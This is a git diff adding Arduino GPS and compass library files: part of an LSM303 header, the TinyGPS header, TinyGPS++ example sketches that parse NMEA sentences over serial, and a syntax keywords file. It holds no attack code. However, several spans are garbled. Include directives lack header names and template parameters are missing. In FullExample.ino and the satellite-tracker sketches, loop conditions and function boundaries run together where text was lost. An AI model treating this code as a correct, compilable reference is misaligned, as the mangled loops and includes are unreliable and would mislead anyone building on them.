m_max; // maximum magnetometer values, used for calibration + vector m_min; // minimum magnetometer values, used for calibration + + byte last_status; // status of last I2C transmission + + LSM303(void); + + bool init(deviceType device = device_auto, sa0State sa0 = sa0_auto); + byte getDeviceType(void) { return _device; } + + void enableDefault(void); + + void writeAccReg(regAddr reg, byte value); + byte readAccReg(regAddr reg); + void writeMagReg(regAddr reg, byte value); + byte readMagReg(regAddr reg); + + void writeReg(regAddr reg, byte value); + byte readReg(regAddr reg); + + void readAcc(void); + void readMag(void); + void read(void); + + void setTimeout(unsigned int timeout); + unsigned int getTimeout(void); + bool timeoutOccurred(void); + + float heading(void); + template float heading(vector from); + + // vector functions + template static void vector_cross(const vector *a, const vector *b, vector *out); + template static float vector_dot(const vector *a,const vector *b); + static void vector_normalize(vector *a); + + private: + deviceType _device; // chip type (DLH, DLM, or DLHC) + byte acc_address; + byte mag_address; + + static const int dummy_reg_count = 6; + regAddr translated_regs[dummy_reg_count + 1]; // index 0 not used + + unsigned int io_timeout; + bool did_timeout; + + int testReg(byte address, regAddr reg); +}; + +#endif + + + diff --git a/libraries/TinyGPS/TinyGPS.h b/libraries/TinyGPS/TinyGPS.h new file mode 100644 index 0000000..0711907 --- /dev/null +++ b/libraries/TinyGPS/TinyGPS.h @@ -0,0 +1,157 @@ +/* +TinyGPS - a small GPS library for Arduino providing basic NMEA parsing +Based on work by and "distance_to" and "course_to" courtesy of Maarten Lamers. +Suggestion to add satellites(), course_to(), and cardinal(), by Matt Monson. +Precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef TinyGPS_h +#define TinyGPS_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif + +#include + +#define _GPS_VERSION 13 // software version of this library +#define _GPS_MPH_PER_KNOT 1.15077945 +#define _GPS_MPS_PER_KNOT 0.51444444 +#define _GPS_KMPH_PER_KNOT 1.852 +#define _GPS_MILES_PER_METER 0.00062137112 +#define _GPS_KM_PER_METER 0.001 +// #define _GPS_NO_STATS + +class TinyGPS +{ +public: + enum { + GPS_INVALID_AGE = 0xFFFFFFFF, GPS_INVALID_ANGLE = 999999999, + GPS_INVALID_ALTITUDE = 999999999, GPS_INVALID_DATE = 0, + GPS_INVALID_TIME = 0xFFFFFFFF, GPS_INVALID_SPEED = 999999999, + GPS_INVALID_FIX_TIME = 0xFFFFFFFF, GPS_INVALID_SATELLITES = 0xFF, + GPS_INVALID_HDOP = 0xFFFFFFFF + }; + + static const float GPS_INVALID_F_ANGLE, GPS_INVALID_F_ALTITUDE, GPS_INVALID_F_SPEED; + + TinyGPS(); + bool encode(char c); // process one character received from GPS + TinyGPS &operator << (char c) {encode(c); return *this;} + + // lat/long in MILLIONTHs of a degree and age of fix in milliseconds + // (note: versions 12 and earlier gave lat/long in 100,000ths of a degree. + void get_position(long *latitude, long *longitude, unsigned long *fix_age = 0); + + // date as ddmmyy, time as hhmmsscc, and age in milliseconds + void get_datetime(unsigned long *date, unsigned long *time, unsigned long *age = 0); + + // signed altitude in centimeters (from GPGGA sentence) + inline long altitude() { return _altitude; } + + // course in last full GPRMC sentence in 100th of a degree + inline unsigned long course() { return _course; } + + // speed in last full GPRMC sentence in 100ths of a knot + inline unsigned long speed() { return _speed; } + + // satellites used in last full GPGGA sentence + inline unsigned short satellites() { return _numsats; } + + // horizontal dilution of precision in 100ths + inline unsigned long hdop() { return _hdop; } + + void f_get_position(float *latitude, float *longitude, unsigned long *fix_age = 0); + void crack_datetime(int *year, byte *month, byte *day, + byte *hour, byte *minute, byte *second, byte *hundredths = 0, unsigned long *fix_age = 0); + float f_altitude(); + float f_course(); + float f_speed_knots(); + float f_speed_mph(); + float f_speed_mps(); + float f_speed_kmph(); + + static int library_version() { return _GPS_VERSION; } + + static float distance_between (float lat1, float long1, float lat2, float long2); + static float course_to (float lat1, float long1, float lat2, float long2); + static const char *cardinal(float course); + +#ifndef _GPS_NO_STATS + void stats(unsigned long *chars, unsigned short *good_sentences, unsigned short *failed_cs); +#endif + +private: + enum {_GPS_SENTENCE_GPGGA, _GPS_SENTENCE_GPRMC, _GPS_SENTENCE_OTHER}; + + // properties + unsigned long _time, _new_time; + unsigned long _date, _new_date; + long _latitude, _new_latitude; + long _longitude, _new_longitude; + long _altitude, _new_altitude; + unsigned long _speed, _new_speed; + unsigned long _course, _new_course; + unsigned long _hdop, _new_hdop; + unsigned short _numsats, _new_numsats; + + unsigned long _last_time_fix, _new_time_fix; + unsigned long _last_position_fix, _new_position_fix; + + // parsing state variables + byte _parity; + bool _is_checksum_term; + char _term[15]; + byte _sentence_type; + byte _term_number; + byte _term_offset; + bool _gps_data_good; + +#ifndef _GPS_NO_STATS + // statistics + unsigned long _encoded_characters; + unsigned short _good_sentences; + unsigned short _failed_checksum; + unsigned short _passed_checksum; +#endif + + // internal utilities + int from_hex(char a); + unsigned long parse_decimal(); + unsigned long parse_degrees(); + bool term_complete(); + bool gpsisdigit(char c) { return c >= '0' && c <= '9'; } + long gpsatol(const char *str); + int gpsstrcmp(const char *str1, const char *str2); +}; + +#if !defined(ARDUINO) +// Arduino 0012 workaround +#undef int +#undef char +#undef long +#undef byte +#undef float +#undef abs +#undef round +#endif + +#endif diff --git a/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino new file mode 100755 index 0000000..da62825 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino @@ -0,0 +1,91 @@ +#include +/* + This sample sketch should be the first you try out when you are testing a TinyGPS++ + (TinyGPSPlus) installation. In normal use, you feed TinyGPS++ objects characters from + a serial NMEA GPS device, but this example uses static strings for simplicity. +*/ + +// A sample NMEA stream. +const char *gpsStream = + "$GPRMC,045103.000,A,3014.1984,N,09749.2872,W,0.67,161.46,030913,,,A*7C\r\n" + "$GPGGA,045104.000,3014.1985,N,09749.2873,W,1,09,1.2,211.6,M,-22.5,M,,0000*62\r\n" + "$GPRMC,045200.000,A,3014.3820,N,09748.9514,W,36.88,65.02,030913,,,A*77\r\n" + "$GPGGA,045201.000,3014.3864,N,09748.9411,W,1,10,1.2,200.8,M,-22.5,M,,0000*6C\r\n" + "$GPRMC,045251.000,A,3014.4275,N,09749.0626,W,0.51,217.94,030913,,,A*7D\r\n" + "$GPGGA,045252.000,3014.4273,N,09749.0628,W,1,09,1.3,206.9,M,-22.5,M,,0000*6F\r\n"; + +// The TinyGPS++ object +TinyGPSPlus gps; + +void setup() +{ + Serial.begin(115200); + + Serial.println(F("BasicExample.ino")); + Serial.println(F("Basic demonstration of TinyGPS++ (no device needed)")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + while (*gpsStream) + if (gps.encode(*gpsStream++)) + displayInfo(); + + Serial.println(); + Serial.println(F("Done.")); +} + +void loop() +{ +} + +void displayInfo() +{ + Serial.print(F("Location: ")); + if (gps.location.isValid()) + { + Serial.print(gps.location.lat(), 6); + Serial.print(F(",")); + Serial.print(gps.location.lng(), 6); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" Date/Time: ")); + if (gps.date.isValid()) + { + Serial.print(gps.date.month()); + Serial.print(F("/")); + Serial.print(gps.date.day()); + Serial.print(F("/")); + Serial.print(gps.date.year()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" ")); + if (gps.time.isValid()) + { + if (gps.time.hour() < 10) Serial.print(F("0")); + Serial.print(gps.time.hour()); + Serial.print(F(":")); + if (gps.time.minute() < 10) Serial.print(F("0")); + Serial.print(gps.time.minute()); + Serial.print(F(":")); + if (gps.time.second() < 10) Serial.print(F("0")); + Serial.print(gps.time.second()); + Serial.print(F(".")); + if (gps.time.centisecond() < 10) Serial.print(F("0")); + Serial.print(gps.time.centisecond()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.println(); +} diff --git a/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino new file mode 100755 index 0000000..489c30b --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino @@ -0,0 +1,92 @@ +#include +#include +/* + This sample sketch demonstrates the normal use of a TinyGPS++ (TinyGPSPlus) object. + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("DeviceExample.ino")); + Serial.println(F("A simple demonstration of TinyGPS++ with an attached GPS module")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // This sketch displays information every time a new sentence is correctly encoded. + while (ss.available() > 0) + if (gps.encode(ss.read())) + displayInfo(); + + if (millis() > 5000 && gps.charsProcessed() < 10) + { + Serial.println(F("No GPS detected: check wiring.")); + while(true); + } +} + +void displayInfo() +{ + Serial.print(F("Location: ")); + if (gps.location.isValid()) + { + Serial.print(gps.location.lat(), 6); + Serial.print(F(",")); + Serial.print(gps.location.lng(), 6); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" Date/Time: ")); + if (gps.date.isValid()) + { + Serial.print(gps.date.month()); + Serial.print(F("/")); + Serial.print(gps.date.day()); + Serial.print(F("/")); + Serial.print(gps.date.year()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" ")); + if (gps.time.isValid()) + { + if (gps.time.hour() < 10) Serial.print(F("0")); + Serial.print(gps.time.hour()); + Serial.print(F(":")); + if (gps.time.minute() < 10) Serial.print(F("0")); + Serial.print(gps.time.minute()); + Serial.print(F(":")); + if (gps.time.second() < 10) Serial.print(F("0")); + Serial.print(gps.time.second()); + Serial.print(F(".")); + if (gps.time.centisecond() < 10) Serial.print(F("0")); + Serial.print(gps.time.centisecond()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.println(); +} diff --git a/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino new file mode 100755 index 0000000..52d5c16 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino @@ -0,0 +1,159 @@ +#include +#include +/* + This sample code demonstrates the normal use of a TinyGPS++ (TinyGPSPlus) object. + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("FullExample.ino")); + Serial.println(F("An extensive example of many interesting TinyGPS++ features")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + Serial.println(F("Sats HDOP Latitude Longitude Fix Date Time Date Alt Course Speed Card Distance Course Card Chars Sentences Checksum")); + Serial.println(F(" (deg) (deg) Age Age (m) --- from GPS ---- ---- to London ---- RX RX Fail")); + Serial.println(F("----------------------------------------------------------------------------------------------------------------------------------------")); +} + +void loop() +{ + static const double LONDON_LAT = 51.508131, LONDON_LON = -0.128002; + + printInt(gps.satellites.value(), gps.satellites.isValid(), 5); + printFloat(gps.hdop.hdop(), gps.hdop.isValid(), 6, 1); + printFloat(gps.location.lat(), gps.location.isValid(), 11, 6); + printFloat(gps.location.lng(), gps.location.isValid(), 12, 6); + printInt(gps.location.age(), gps.location.isValid(), 5); + printDateTime(gps.date, gps.time); + printFloat(gps.altitude.meters(), gps.altitude.isValid(), 7, 2); + printFloat(gps.course.deg(), gps.course.isValid(), 7, 2); + printFloat(gps.speed.kmph(), gps.speed.isValid(), 6, 2); + printStr(gps.course.isValid() ? TinyGPSPlus::cardinal(gps.course.deg()) : "*** ", 6); + + unsigned long distanceKmToLondon = + (unsigned long)TinyGPSPlus::distanceBetween( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON) / 1000; + printInt(distanceKmToLondon, gps.location.isValid(), 9); + + double courseToLondon = + TinyGPSPlus::courseTo( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + + printFloat(courseToLondon, gps.location.isValid(), 7, 2); + + const char *cardinalToLondon = TinyGPSPlus::cardinal(courseToLondon); + + printStr(gps.location.isValid() ? cardinalToLondon : "*** ", 6); + + printInt(gps.charsProcessed(), true, 6); + printInt(gps.sentencesWithFix(), true, 10); + printInt(gps.failedChecksum(), true, 9); + Serial.println(); + + smartDelay(1000); + + if (millis() > 5000 && gps.charsProcessed() < 10) + Serial.println(F("No GPS data received: check wiring")); +} + +// This custom version of delay() ensures that the gps object +// is being "fed". +static void smartDelay(unsigned long ms) +{ + unsigned long start = millis(); + do + { + while (ss.available()) + gps.encode(ss.read()); + } while (millis() - start < ms); +} + +static void printFloat(float val, bool valid, int len, int prec) +{ + if (!valid) + { + while (len-- > 1) + Serial.print('*'); + Serial.print(' '); + } + else + { + Serial.print(val, prec); + int vi = abs((int)val); + int flen = prec + (val < 0.0 ? 2 : 1); // . and - + flen += vi >= 1000 ? 4 : vi >= 100 ? 3 : vi >= 10 ? 2 : 1; + for (int i=flen; i 0) + sz[len-1] = ' '; + Serial.print(sz); + smartDelay(0); +} + +static void printDateTime(TinyGPSDate &d, TinyGPSTime &t) +{ + if (!d.isValid()) + { + Serial.print(F("********** ")); + } + else + { + char sz[32]; + sprintf(sz, "%02d/%02d/%02d ", d.month(), d.day(), d.year()); + Serial.print(sz); + } + + if (!t.isValid()) + { + Serial.print(F("******** ")); + } + else + { + char sz[32]; + sprintf(sz, "%02d:%02d:%02d ", t.hour(), t.minute(), t.second()); + Serial.print(sz); + } + + printInt(d.age(), d.isValid(), 5); + smartDelay(0); +} + +static void printStr(const char *str, int len) +{ + int slen = strlen(str); + for (int i=0; i +#include +/* + This sample code demonstrates just about every built-in operation of TinyGPS++ (TinyGPSPlus). + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +// For stats that happen every 5 seconds +unsigned long last = 0UL; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("KitchenSink.ino")); + Serial.println(F("Demonstrating nearly every feature of TinyGPS++")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // Dispatch incoming characters + while (ss.available() > 0) + gps.encode(ss.read()); + + if (gps.location.isUpdated()) + { + Serial.print(F("LOCATION Fix Age=")); + Serial.print(gps.location.age()); + Serial.print(F("ms Raw Lat=")); + Serial.print(gps.location.rawLat().negative ? "-" : "+"); + Serial.print(gps.location.rawLat().deg); + Serial.print("[+"); + Serial.print(gps.location.rawLat().billionths); + Serial.print(F(" billionths], Raw Long=")); + Serial.print(gps.location.rawLng().negative ? "-" : "+"); + Serial.print(gps.location.rawLng().deg); + Serial.print("[+"); + Serial.print(gps.location.rawLng().billionths); + Serial.print(F(" billionths], Lat=")); + Serial.print(gps.location.lat(), 6); + Serial.print(F(" Long=")); + Serial.println(gps.location.lng(), 6); + } + + else if (gps.date.isUpdated()) + { + Serial.print(F("DATE Fix Age=")); + Serial.print(gps.date.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.date.value()); + Serial.print(F(" Year=")); + Serial.print(gps.date.year()); + Serial.print(F(" Month=")); + Serial.print(gps.date.month()); + Serial.print(F(" Day=")); + Serial.println(gps.date.day()); + } + + else if (gps.time.isUpdated()) + { + Serial.print(F("TIME Fix Age=")); + Serial.print(gps.time.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.time.value()); + Serial.print(F(" Hour=")); + Serial.print(gps.time.hour()); + Serial.print(F(" Minute=")); + Serial.print(gps.time.minute()); + Serial.print(F(" Second=")); + Serial.print(gps.time.second()); + Serial.print(F(" Hundredths=")); + Serial.println(gps.time.centisecond()); + } + + else if (gps.speed.isUpdated()) + { + Serial.print(F("SPEED Fix Age=")); + Serial.print(gps.speed.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.speed.value()); + Serial.print(F(" Knots=")); + Serial.print(gps.speed.knots()); + Serial.print(F(" MPH=")); + Serial.print(gps.speed.mph()); + Serial.print(F(" m/s=")); + Serial.print(gps.speed.mps()); + Serial.print(F(" km/h=")); + Serial.println(gps.speed.kmph()); + } + + else if (gps.course.isUpdated()) + { + Serial.print(F("COURSE Fix Age=")); + Serial.print(gps.course.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.course.value()); + Serial.print(F(" Deg=")); + Serial.println(gps.course.deg()); + } + + else if (gps.altitude.isUpdated()) + { + Serial.print(F("ALTITUDE Fix Age=")); + Serial.print(gps.altitude.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.altitude.value()); + Serial.print(F(" Meters=")); + Serial.print(gps.altitude.meters()); + Serial.print(F(" Miles=")); + Serial.print(gps.altitude.miles()); + Serial.print(F(" KM=")); + Serial.print(gps.altitude.kilometers()); + Serial.print(F(" Feet=")); + Serial.println(gps.altitude.feet()); + } + + else if (gps.satellites.isUpdated()) + { + Serial.print(F("SATELLITES Fix Age=")); + Serial.print(gps.satellites.age()); + Serial.print(F("ms Value=")); + Serial.println(gps.satellites.value()); + } + + else if (gps.hdop.isUpdated()) + { + Serial.print(F("HDOP Fix Age=")); + Serial.print(gps.hdop.age()); + Serial.print(F("ms raw=")); + Serial.print(gps.hdop.value()); + Serial.print(F(" hdop=")); + Serial.println(gps.hdop.hdop()); + } + + else if (millis() - last > 5000) + { + Serial.println(); + if (gps.location.isValid()) + { + static const double LONDON_LAT = 51.508131, LONDON_LON = -0.128002; + double distanceToLondon = + TinyGPSPlus::distanceBetween( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + double courseToLondon = + TinyGPSPlus::courseTo( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + + Serial.print(F("LONDON Distance=")); + Serial.print(distanceToLondon/1000, 6); + Serial.print(F(" km Course-to=")); + Serial.print(courseToLondon, 6); + Serial.print(F(" degrees [")); + Serial.print(TinyGPSPlus::cardinal(courseToLondon)); + Serial.println(F("]")); + } + + Serial.print(F("DIAGS Chars=")); + Serial.print(gps.charsProcessed()); + Serial.print(F(" Sentences-with-Fix=")); + Serial.print(gps.sentencesWithFix()); + Serial.print(F(" Failed-checksum=")); + Serial.print(gps.failedChecksum()); + Serial.print(F(" Passed-checksum=")); + Serial.println(gps.passedChecksum()); + + if (gps.charsProcessed() < 10) + Serial.println(F("WARNING: No GPS data. Check wiring.")); + + last = millis(); + Serial.println(); + } +} \ No newline at end of file diff --git a/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino b/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino new file mode 100755 index 0000000..afc6d8a --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino @@ -0,0 +1,150 @@ +#include +#include +/* + This sample code tracks satellite elevations using TinyGPSCustom objects. + + Satellite numbers and elevations are not normally tracked by TinyGPS++, but + by using TinyGPSCustom we get around this. + + It requires the use of SoftwareSerial and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; +static const int MAX_SATELLITES = 40; +static const int PAGE_LENGTH = 40; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +TinyGPSCustom totalGPGSVMessages(gps, "GPGSV", 1); // $GPGSV sentence, first element +TinyGPSCustom messageNumber(gps, "GPGSV", 2); // $GPGSV sentence, second element +TinyGPSCustom satNumber[4]; // to be initialized later +TinyGPSCustom elevation[4]; +bool anyChanges = false; +unsigned long linecount = 0; + +struct +{ + int elevation; + bool active; +} sats[MAX_SATELLITES]; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("SatElevTracker.ino")); + Serial.println(F("Displays GPS satellite elevations as they change")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + // Initialize all the uninitialized TinyGPSCustom objects + for (int i=0; i<4; ++i) + { + satNumber[i].begin(gps, "GPGSV", 4 + 4 * i); // offsets 4, 8, 12, 16 + elevation[i].begin(gps, "GPGSV", 5 + 4 * i); // offsets 5, 9, 13, 17 + } +} + +void loop() +{ + // Dispatch incoming characters + if (ss.available() > 0) + { + gps.encode(ss.read()); + + if (totalGPGSVMessages.isUpdated()) + { + for (int i=0; i<4; ++i) + { + int no = atoi(satNumber[i].value()); + if (no >= 1 && no <= MAX_SATELLITES) + { + int elev = atoi(elevation[i].value()); + sats[no-1].active = true; + if (sats[no-1].elevation != elev) + { + sats[no-1].elevation = elev; + anyChanges = true; + } + } + } + + int totalMessages = atoi(totalGPGSVMessages.value()); + int currentMessage = atoi(messageNumber.value()); + if (totalMessages == currentMessage && anyChanges) + { + if (linecount++ % PAGE_LENGTH == 0) + printHeader(); + TimePrint(); + for (int i=0; i +#include +/* + This sample code demonstrates how to use an array of TinyGPSCustom objects + to monitor all the visible satellites. + + Satellite numbers, elevation, azimuth, and signal-to-noise ratio are not + normally tracked by TinyGPS++, but by using TinyGPSCustom we get around this. + + The simple code also demonstrates how to use arrays of TinyGPSCustom objects, + each monitoring a different field of the $GPGSV sentence. + + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +/* + From http://aprs.gids.nl/nmea/: + + $GPGSV + + GPS Satellites in view + + eg. $GPGSV,3,1,11,03,03,111,00,04,15,270,00,06,01,010,00,13,06,292,00*74 + $GPGSV,3,2,11,14,25,170,00,16,57,208,39,18,67,296,40,19,40,246,00*74 + $GPGSV,3,3,11,22,42,067,42,24,14,311,43,27,05,244,00,,,,*4D + + 1 = Total number of messages of this type in this cycle + 2 = Message number + 3 = Total number of SVs in view + 4 = SV PRN number + 5 = Elevation in degrees, 90 maximum + 6 = Azimuth, degrees from true north, 000 to 359 + 7 = SNR, 00-99 dB (null when not tracking) + 8-11 = Information about second SV, same as field 4-7 + 12-15= Information about third SV, same as field 4-7 + 16-19= Information about fourth SV, same as field 4-7 +*/ + +static const int MAX_SATELLITES = 40; + +TinyGPSCustom totalGPGSVMessages(gps, "GPGSV", 1); // $GPGSV sentence, first element +TinyGPSCustom messageNumber(gps, "GPGSV", 2); // $GPGSV sentence, second element +TinyGPSCustom satsInView(gps, "GPGSV", 3); // $GPGSV sentence, third element +TinyGPSCustom satNumber[4]; // to be initialized later +TinyGPSCustom elevation[4]; +TinyGPSCustom azimuth[4]; +TinyGPSCustom snr[4]; + +struct +{ + bool active; + int elevation; + int azimuth; + int snr; +} sats[MAX_SATELLITES]; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("SatelliteTracker.ino")); + Serial.println(F("Monitoring satellite location and signal strength using TinyGPSCustom")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + // Initialize all the uninitialized TinyGPSCustom objects + for (int i=0; i<4; ++i) + { + satNumber[i].begin(gps, "GPGSV", 4 + 4 * i); // offsets 4, 8, 12, 16 + elevation[i].begin(gps, "GPGSV", 5 + 4 * i); // offsets 5, 9, 13, 17 + azimuth[i].begin( gps, "GPGSV", 6 + 4 * i); // offsets 6, 10, 14, 18 + snr[i].begin( gps, "GPGSV", 7 + 4 * i); // offsets 7, 11, 15, 19 + } +} + +void loop() +{ + // Dispatch incoming characters + if (ss.available() > 0) + { + gps.encode(ss.read()); + if (totalGPGSVMessages.isUpdated()) + { + for (int i=0; i<4; ++i) + { + int no = atoi(satNumber[i].value()); + // Serial.print(F("SatNumber is ")); Serial.println(no); + if (no >= 1 && no <= MAX_SATELLITES) + { + sats[no-1].elevation = atoi(elevation[i].value()); + sats[no-1].azimuth = atoi(azimuth[i].value()); + sats[no-1].snr = atoi(snr[i].value()); + sats[no-1].active = true; + } + } + + int totalMessages = atoi(totalGPGSVMessages.value()); + int currentMessage = atoi(messageNumber.value()); + if (totalMessages == currentMessage) + { + Serial.print(F("Sats=")); Serial.print(gps.satellites.value()); + Serial.print(F(" Nums=")); + for (int i=0; i +#include + +/* + This sample demonstrates TinyGPS++'s capacity for extracting custom + fields from any NMEA sentence. TinyGPS++ has built-in facilities for + extracting latitude, longitude, altitude, etc., from the $GPGGA and + $GPRMC sentences. But with the TinyGPSCustom type, you can extract + other NMEA fields, even from non-standard NMEA sentences. + + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +/* + By declaring TinyGPSCustom objects like this, we announce that we + are interested in the 15th, 16th, and 17th fields in the $GPGSA + sentence, respectively the PDOP (F("positional dilution of precision")), + HDOP (F("horizontal...")), and VDOP (F("vertical...")). + + (Counting starts with the field immediately following the sentence name, + i.e. $GPGSA. For more information on NMEA sentences, consult your + GPS module's documentation and/or http://aprs.gids.nl/nmea/.) + + If your GPS module doesn't support the $GPGSA sentence, then you + won't get any output from this program. +*/ + +TinyGPSCustom pdop(gps, "GPGSA", 15); // $GPGSA sentence, 15th element +TinyGPSCustom hdop(gps, "GPGSA", 16); // $GPGSA sentence, 16th element +TinyGPSCustom vdop(gps, "GPGSA", 17); // $GPGSA sentence, 17th element + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("UsingCustomFields.ino")); + Serial.println(F("Demonstrating how to extract any NMEA field using TinyGPSCustom")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // Every time anything is updated, print everything. + if (gps.altitude.isUpdated() || gps.satellites.isUpdated() || + pdop.isUpdated() || hdop.isUpdated() || vdop.isUpdated()) + { + Serial.print(F("ALT=")); Serial.print(gps.altitude.meters()); + Serial.print(F(" PDOP=")); Serial.print(pdop.value()); + Serial.print(F(" HDOP=")); Serial.print(hdop.value()); + Serial.print(F(" VDOP=")); Serial.print(vdop.value()); + Serial.print(F(" SATS=")); Serial.println(gps.satellites.value()); + } + + while (ss.available() > 0) + gps.encode(ss.read()); +} + diff --git a/libraries/TinyGPSPlus-1.0.2/keywords.txt b/libraries/TinyGPSPlus-1.0.2/keywords.txt new file mode 100755 index 0000000..91d119b --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/keywords.txt @@ -0,0 +1,71 @@ +####################################### +# Syntax Coloring Map for TinyGPS++ +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +TinyGPSPlus KEYWORD1 +TinyGPSLocation KEYWORD1 +TinyGPSDate KEYWORD1 +TinyGPSTime KEYWORD1 +TinyGPSSpeed KEYWORD1 +TinyGPSCourse KEYWORD1 +TinyGPSAltitude KEYWORD1 +TinyGPSInteger KEYWORD1 +TinyGPSDecimal KEYWORD1 +TinyGPSCustom KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +encode KEYWORD2 +location KEYWORD2 +date KEYWORD2 +time KEYWORD2 +speed KEYWORD2 +course KEYWORD2 +altitude KEYWORD2 +satellites KEYWORD2 +hdop KEYWORD2 +libraryVersion KEYWORD2 +distanceBetween KEYWORD2 +courseTo KEYWORD2 +cardinal KEYWORD2 +charsProcessed KEYWORD2 +sentencesWithFix KEYWORD2 +failedChecksum KEYWORD2 +passedChecksum KEYWORD2 +isValid KEYWORD2 +isUpdated KEYWORD2 +age KEYWORD2 +lat KEYWORD2 +lng KEYWORD2 +isUpdatedDate KEYWORD2 +isUpdatedTime KEYWORD2 +year KEYWORD2 +month KEYWORD2 +day 